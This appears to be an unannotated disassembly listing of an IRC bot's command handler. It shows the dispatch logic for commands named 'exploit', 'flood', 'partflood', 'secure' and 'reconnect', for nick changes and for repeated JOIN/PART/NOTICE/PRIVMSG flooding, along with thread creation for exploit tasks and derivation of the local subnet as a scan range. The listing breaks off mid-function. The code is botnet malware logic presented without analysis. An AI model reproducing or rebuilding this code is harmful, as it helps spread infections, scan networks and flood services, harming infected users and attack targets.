		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		call	sub_4099D2
		push	ebx
		lea	eax, [ebp-2C0h]
		push	6
		push	eax
		call	sub_40B00E
		add	esp, 30h
		mov	[ebp-978h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0A00h]
		push	ebx
		push	eax
		push	offset word_40ECDA
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-978h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40483D


loc_404827:				; CODE XREF: .nsp0:0040483Bj
		cmp	[ebp-968h], ebx
		jnz	loc_401D6C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_404827
; ---------------------------------------------------------------------------


loc_40483D:				; CODE XREF: .nsp0:00404825j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4324E0
		jmp	loc_4020B5
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: .nsp0:00402AB3j
					; .nsp0:00402AC8j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404876
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C710
		pop	ecx
		mov	[ebp-0A10h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404880


loc_404876:				; CODE XREF: .nsp0:0040485Dj
		mov	dword ptr [ebp-0A10h], 1


loc_404880:				; CODE XREF: .nsp0:00404874j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0A94h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-0A10h], ebx
		mov	[ebp-0A98h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0A0Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-0A08h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4048C7
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4048C7:				; CODE XREF: .nsp0:004048C0j
		push	eax
		push	offset dword_4324AC
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	22h
		push	eax
		call	sub_40B00E
		add	esp, 1Ch
		mov	[ebp-0A14h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0A98h]
		push	ebx
		push	eax
		push	offset sub_41A6A2
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0A14h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40493B


loc_404925:				; CODE XREF: .nsp0:00404939j
		cmp	[ebp-0A04h], ebx
		jnz	loc_40833C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_404925
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: .nsp0:00404923j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_432470
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_40494C:				; CODE XREF: .nsp0:00402A89j
					; .nsp0:00402A9Ej
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_41AF50


loc_40495D:				; CODE XREF: .nsp0:004045AFj
					; .nsp0:004045C5j ...
		add	esp, 0Ch
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_404965:				; CODE XREF: .nsp0:00402A5Fj
					; .nsp0:00402A74j
		push	offset unk_4323C0
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_40496F:				; CODE XREF: .nsp0:00402A35j
					; .nsp0:00402A4Aj
		push	offset aXxerxx	; "XxerxX"
		push	offset dword_4323B0
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_40497E:				; CODE XREF: .nsp0:00402A0Bj
					; .nsp0:00402A20j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_4049DE
		push	esi
		call	sub_41BE29
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049D3
		cmp	eax, 1
		jge	short loc_4049D3
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4049C8
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43362C
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_4049C8:				; CODE XREF: .nsp0:004049A7j
		push	eax
		push	offset unk_432384
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_4049D3:				; CODE XREF: .nsp0:00404992j
					; .nsp0:00404997j
		push	eax
		push	offset unk_432358
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_4049DE:				; CODE XREF: .nsp0:00404987j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4049E3:				; CODE XREF: .nsp0:004049FFj
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404A06
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_4049E3
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_404A06:				; CODE XREF: .nsp0:004049F3j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_43362C
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_404A20:				; CODE XREF: .nsp0:004029E1j
					; .nsp0:004029F6j
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A9
		call	sub_40B1D7
		push	ebx
		call	dword_427068	; ExitProcess


loc_404A46:				; CODE XREF: .nsp0:004034E2j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AEC
		cmp	dword_4D49A8, ebx
		jz	short loc_404A72
		push	offset dword_4D4388
		push	offset unk_43231C
		jmp	loc_404AFE
; ---------------------------------------------------------------------------


loc_404A72:				; CODE XREF: .nsp0:00404A61j
		push	10h
		pop	eax
		mov	[ebp-2D0h], eax
		push	eax
		lea	eax, [ebp-2E8h]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-2E8h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_42722C	; getsockname
		movzx	eax, byte ptr [ebp-2E2h]
		push	eax
		movzx	eax, byte ptr [ebp-2E3h]
		push	eax
		movzx	eax, byte ptr [ebp-2E4h]
		push	eax
		lea	eax, [ebp-0E30h]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-0E30h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43231C
		push	eax
		call	sub_41BF36
		add	esp, 20h
		jmp	loc_403501
; ---------------------------------------------------------------------------


loc_404AEC:				; CODE XREF: .nsp0:00404A55j
		push	esi
		call	dword_4D1230	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404B12
		push	offset unk_4322DC


loc_404AFE:				; CODE XREF: .nsp0:00404A6Dj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_403501
; ---------------------------------------------------------------------------


loc_404B12:				; CODE XREF: .nsp0:00404AF7j
		push	offset dword_4D4388
		call	sub_41C550
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset unk_4322B0
		push	eax
		mov	dword_4D49A8, 1
		call	sub_41BF36
		add	esp, 14h
		jmp	loc_403501
; ---------------------------------------------------------------------------


loc_404B40:				; CODE XREF: .nsp0:004034CAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C3A
		mov	eax, [ebp-4]
		mov	esi, offset aO1_0 ; "#o1"
		mov	[ebp-13E4h], eax
		mov	eax, [ebp-8]
		mov	[ebp-13E0h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-13F4h], eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp-1474h]
		push	edi
		push	eax
		mov	dword ptr [ebp-13ECh], 1
		call	sub_41C030
		push	esi
		lea	eax, [ebp-14F4h]
		push	edi
		push	eax
		call	sub_41C030
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1504h]
		push	10h
		push	eax
		call	sub_41C030
		lea	eax, [ebp-1504h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432278
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	8
		push	eax
		call	sub_40B00E
		add	esp, 3Ch
		mov	[ebp-13E8h], eax
		lea	eax, [ebp-2FCh]
		push	eax
		lea	eax, [ebp-1504h]
		push	ebx
		push	eax
		push	offset byte_40B7B5
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-13E8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_404C29


loc_404C13:				; CODE XREF: .nsp0:00404C27j
		cmp	[ebp-13DCh], ebx
		jnz	loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_404C13
; ---------------------------------------------------------------------------


loc_404C29:				; CODE XREF: .nsp0:00404C11j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_432238
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_404C3A:				; CODE XREF: .nsp0:00404B4Fj
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40972B
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40972B
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096E5
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096E5
		push	dword ptr [ebp+10h]
		push	offset aFlood	; "flood"
		call	sub_41C710
		mov	edi, dword_427064
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057F6
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		push	dword ptr [ebp+18h]
		push	offset aLoad	; "load"
		call	sub_41C710
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404D3D
		cmp	[ebp+esi-80h], ebx
		jz	short loc_404D3D
		push	dword ptr [ebp+esi-80h]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-84h]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-88h]
		call	sub_418065
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+esi-80h]
		push	offset unk_4321D8
		push	eax
		call	sub_41BF36
		add	esp, 20h
		cmp	[ebp-8], ebx
		jnz	short loc_404D3D
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_404D3D:				; CODE XREF: .nsp0:00404CC9j
					; .nsp0:00404CCFj ...
		push	dword ptr [ebp+18h]
		push	offset dword_4321D4
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DA6
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404DA6
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	eax
		call	sub_41869A
		push	eax
		lea	eax, [ebp-50F4h]
		push	eax
		call	sub_41C550
		lea	eax, [ebp-50F4h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321C0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 28h


loc_404DA6:				; CODE XREF: .nsp0:00404D4Ej
					; .nsp0:00404D59j
		push	dword ptr [ebp+18h]
		push	offset dword_4321BC
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E0F
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404E0F
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	eax
		call	sub_41869A
		push	eax
		lea	eax, [ebp-4BF0h]
		push	eax
		call	sub_41C550
		lea	eax, [ebp-4BF0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321A8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 28h


loc_404E0F:				; CODE XREF: .nsp0:00404DB7j
					; .nsp0:00404DC2j
		push	dword ptr [ebp+18h]
		push	offset aNt	; "nt"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E78
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404E78
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	eax
		call	sub_41869A
		push	eax
		lea	eax, [ebp-46ECh]
		push	eax
		call	sub_41C550
		lea	eax, [ebp-46ECh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 28h


loc_404E78:				; CODE XREF: .nsp0:00404E20j
					; .nsp0:00404E2Bj
		push	dword ptr [ebp+18h]
		push	offset aMode	; "mode"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EE1
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404EE1
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	eax
		call	sub_41869A
		push	eax
		lea	eax, [ebp-4DF0h]
		push	eax
		call	sub_41C550
		lea	eax, [ebp-4DF0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 28h


loc_404EE1:				; CODE XREF: .nsp0:00404E89j
					; .nsp0:00404E94j
		push	dword ptr [ebp+18h]
		push	offset aJoin	; "join"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F20
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404F20
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h


loc_404F20:				; CODE XREF: .nsp0:00404EF2j
					; .nsp0:00404EFDj
		push	dword ptr [ebp+18h]
		push	offset aPart_0	; "part"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F5F
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404F5F
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h


loc_404F5F:				; CODE XREF: .nsp0:00404F31j
					; .nsp0:00404F3Cj
		push	dword ptr [ebp+18h]
		push	offset aPartflood ; "partflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FA3
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404FA3
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_404FA3:				; CODE XREF: .nsp0:00404F70j
					; .nsp0:00404F7Bj
		push	dword ptr [ebp+18h]
		push	offset aPnick	; "pnick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405018
		cmp	[ebp+esi-88h], ebx
		jz	short loc_405018
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp-17B4h]
		push	edx
		push	dword ptr [ebp+esi-88h]
		push	offset dword_432140
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-17B4h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h


loc_405018:				; CODE XREF: .nsp0:00404FB4j
					; .nsp0:00404FBDj
		push	dword ptr [ebp+18h]
		push	offset dword_43212C
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40515F
		cmp	[ebp+esi-88h], ebx
		jz	loc_40515F
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h
		call	sub_41BF92
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_40515F:				; CODE XREF: .nsp0:00405029j
					; .nsp0:00405036j
		push	dword ptr [ebp+18h]
		push	offset dword_432128
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051F9
		cmp	[ebp+esi-88h], ebx
		jz	short loc_4051F9
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp-2C0h]
		push	edx
		push	dword ptr [ebp+esi-88h]
		push	offset dword_432100
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h


loc_4051F9:				; CODE XREF: .nsp0:00405170j
					; .nsp0:0040517Dj
		push	dword ptr [ebp+18h]
		push	offset aNick_0	; "nick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052F6
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	loc_4052F6
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		lea	eax, [ebp-4BCh]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp-4BCh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		lea	eax, [ebp-4BCh]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp-4BCh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		lea	eax, [ebp-4BCh]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp-4BCh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_4052F6:				; CODE XREF: .nsp0:0040520Aj
					; .nsp0:00405219j
		push	dword ptr [ebp+18h]
		push	offset aChgnick	; "chgnick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40533C
		lea	eax, [ebp-1808h]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp-1808h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_40533C:				; CODE XREF: .nsp0:00405307j
		push	dword ptr [ebp+18h]
		push	offset aMsg	; "msg"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405428
		cmp	[ebp+esi-88h], ebx
		jz	loc_405428
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321C0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321C0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321C0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_405428:				; CODE XREF: .nsp0:0040534Dj
					; .nsp0:0040535Aj
		push	dword ptr [ebp+18h]
		push	offset aNotice_0 ; "notice"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405514
		cmp	[ebp+esi-88h], ebx
		jz	loc_405514
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_405514:				; CODE XREF: .nsp0:00405439j
					; .nsp0:00405446j
		push	dword ptr [ebp+18h]
		push	offset aCtcp	; "ctcp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405628
		cmp	[ebp+esi-88h], ebx
		jz	loc_405628
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_4320B8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 20h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_4320A0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_432088
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_432088
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h


loc_405628:				; CODE XREF: .nsp0:00405525j
					; .nsp0:00405532j
		push	dword ptr [ebp+18h]
		push	offset aMix	; "mix"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40574B
		cmp	[ebp+esi-88h], ebx
		jz	loc_40574B
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_4320B8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 20h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_40574B:				; CODE XREF: .nsp0:00405639j
					; .nsp0:00405646j
		push	dword ptr [ebp+18h]
		push	offset aRegister ; "register"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405791
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_405791
